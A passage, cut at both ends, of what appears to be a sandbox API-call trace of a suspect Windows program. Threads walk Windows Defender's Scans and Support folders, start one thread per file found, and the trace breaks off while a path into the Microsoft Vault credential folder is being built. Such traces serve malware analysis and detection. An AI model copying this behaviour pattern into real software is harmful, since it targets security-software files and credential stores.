Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" [0077.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0077.591] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1206ea7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1206ea7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd154e258, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x6a1ab6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67", cAlternateFileName="MPCACH~1.67")) returned 1 [0077.591] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67", _String2=".") returned 1 [0077.591] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67", _String2="..") returned 1 [0077.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347af00 [0077.591] wcscpy (in: _Dest=0x347af00, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.591] wcscat (in: _Dest=0x347af00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.591] wcscat (in: _Dest=0x347af00, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" [0077.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347af00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0077.592] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xd159a713, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd159a713, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd16592ea, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x3b14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79", cAlternateFileName="MPCACH~1.79")) returned 1 [0077.592] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79", _String2=".") returned 1 [0077.592] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79", _String2="..") returned 1 [0077.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a800 [0077.592] wcscpy (in: _Dest=0x347a800, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.592] wcscat (in: _Dest=0x347a800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.592] wcscat (in: _Dest=0x347a800, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" [0077.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0077.595] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xd167f527, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd167f527, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd167f527, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x529000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C", cAlternateFileName="MPCACH~1.7C")) returned 1 [0077.595] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C", _String2=".") returned 1 [0077.595] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C", _String2="..") returned 1 [0077.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a480 [0077.595] wcscpy (in: _Dest=0x347a480, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.595] wcscat (in: _Dest=0x347a480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.595] wcscat (in: _Dest=0x347a480, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" [0077.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0077.596] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16cb9d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd16cb9d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd16cb9d7, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x3cff18, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E", cAlternateFileName="MPCACH~1.7E")) returned 1 [0077.596] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E", _String2=".") returned 1 [0077.596] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E", _String2="..") returned 1 [0077.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a9c0 [0077.596] wcscpy (in: _Dest=0x347a9c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.596] wcscat (in: _Dest=0x347a9c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.596] wcscat (in: _Dest=0x347a9c0, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" [0077.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a9c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0077.597] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1822efb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1822efb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd186f3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0xcfdc43, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80", cAlternateFileName="MPCACH~1.80")) returned 1 [0077.597] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80", _String2=".") returned 1 [0077.597] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80", _String2="..") returned 1 [0077.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347afe0 [0077.597] wcscpy (in: _Dest=0x347afe0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.597] wcscat (in: _Dest=0x347afe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.597] wcscat (in: _Dest=0x347afe0, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" [0077.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347afe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0077.598] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xd18bb86e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd18bb86e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd18bb86e, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83", cAlternateFileName="MPCACH~1.83")) returned 1 [0077.598] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83", _String2=".") returned 1 [0077.598] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83", _String2="..") returned 1 [0077.598] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a100 [0077.598] wcscpy (in: _Dest=0x347a100, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.598] wcscat (in: _Dest=0x347a100, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.598] wcscat (in: _Dest=0x347a100, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" [0077.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0077.599] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1895623, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1895623, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd1895623, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3a61, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87", cAlternateFileName="MPCACH~1.87")) returned 1 [0077.599] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87", _String2=".") returned 1 [0077.599] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87", _String2="..") returned 1 [0077.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x3494eb8 [0077.599] wcscpy (in: _Dest=0x3494eb8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.599] wcscat (in: _Dest=0x3494eb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.599] wcscat (in: _Dest=0x3494eb8, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" [0077.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3494eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0077.600] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18bb86e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd18bb86e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd18bb86e, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x358f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0", cAlternateFileName="MPCACH~1.A0")) returned 1 [0077.600] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0", _String2=".") returned 1 [0077.600] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0", _String2="..") returned 1 [0077.600] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x3494898 [0077.600] wcscpy (in: _Dest=0x3494898, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.600] wcscat (in: _Dest=0x3494898, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.600] wcscat (in: _Dest=0x3494898, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" [0077.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3494898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0077.601] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18e1ad1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd18e1ad1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd18e1ad1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x5fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB", cAlternateFileName="MPCACH~1.CB")) returned 1 [0077.601] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB", _String2=".") returned 1 [0077.601] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB", _String2="..") returned 1 [0077.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x3494978 [0077.601] wcscpy (in: _Dest=0x3494978, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.601] wcscat (in: _Dest=0x3494978, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.601] wcscat (in: _Dest=0x3494978, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" [0077.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3494978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0077.601] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18e1ad1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd18e1ad1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd18e1ad1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x441a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC", cAlternateFileName="MPCACH~1.CC")) returned 1 [0077.601] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC", _String2=".") returned 1 [0077.602] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC", _String2="..") returned 1 [0077.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x3493478 [0077.602] wcscpy (in: _Dest=0x3493478, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.602] wcscat (in: _Dest=0x3493478, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.602] wcscat (in: _Dest=0x3493478, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" [0077.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3493478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0077.603] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a35fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac709f73, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RtSigs", cAlternateFileName="")) returned 1 [0077.603] wcscmp (_String1="RtSigs", _String2=".") returned 1 [0077.603] wcscmp (_String1="RtSigs", _String2="..") returned 1 [0077.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cc9f0 [0077.603] wcscpy (in: _Dest=0x33cc9f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.603] wcscat (in: _Dest=0x33cc9f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.603] wcscat (in: _Dest=0x33cc9f0, _Source="RtSigs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs" [0077.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cc9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0077.604] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a35fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac709f73, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RtSigs", cAlternateFileName="")) returned 0 [0077.604] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0077.604] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5b90) returned 1 [0077.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0077.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e1f0) returned 1 [0077.605] RtlExitUserThread (Status=0x0) Thread: id = 738 os_tid = 0x11d4 [0075.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0075.116] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" [0075.116] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\" [0075.116] wcscat (in: _Dest=0x34799e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*" [0075.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5df8 [0075.116] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343a8 [0075.116] wcscmp (_String1=".", _String2=".") returned 0 [0075.116] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.116] wcscmp (_String1="..", _String2=".") returned 1 [0075.116] wcscmp (_String1="..", _String2="..") returned 0 [0075.116] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.116] FindClose (in: hFindFile=0x34343a8 | out: hFindFile=0x34343a8) returned 1 [0075.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5df8) returned 1 [0075.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0075.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0075.117] RtlExitUserThread (Status=0x0) Thread: id = 739 os_tid = 0x11d8 [0075.118] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eac30 [0075.118] wcscpy (in: _Dest=0x33eac30, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All 